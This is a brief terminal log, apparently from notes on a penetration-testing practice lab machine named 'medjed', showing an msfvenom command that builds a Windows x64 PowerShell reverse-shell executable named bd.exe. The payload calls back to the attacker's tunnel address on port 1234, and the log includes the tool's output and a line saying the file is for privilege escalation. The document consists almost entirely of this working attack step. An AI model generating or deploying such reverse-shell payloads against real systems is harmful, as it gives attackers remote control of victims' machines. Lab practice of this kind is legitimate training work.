msfvenom
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/medjed]
└─$ msfvenom -p windows/x64/powershell_reverse_tcp LHOST=$tun0 LPORT=1234 -f exe -o bd.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 1895 bytes
Final size of exe file: 8192 bytes
Saved as: bd.exe
msfvenom generated a reverse shell executable for privilege escalation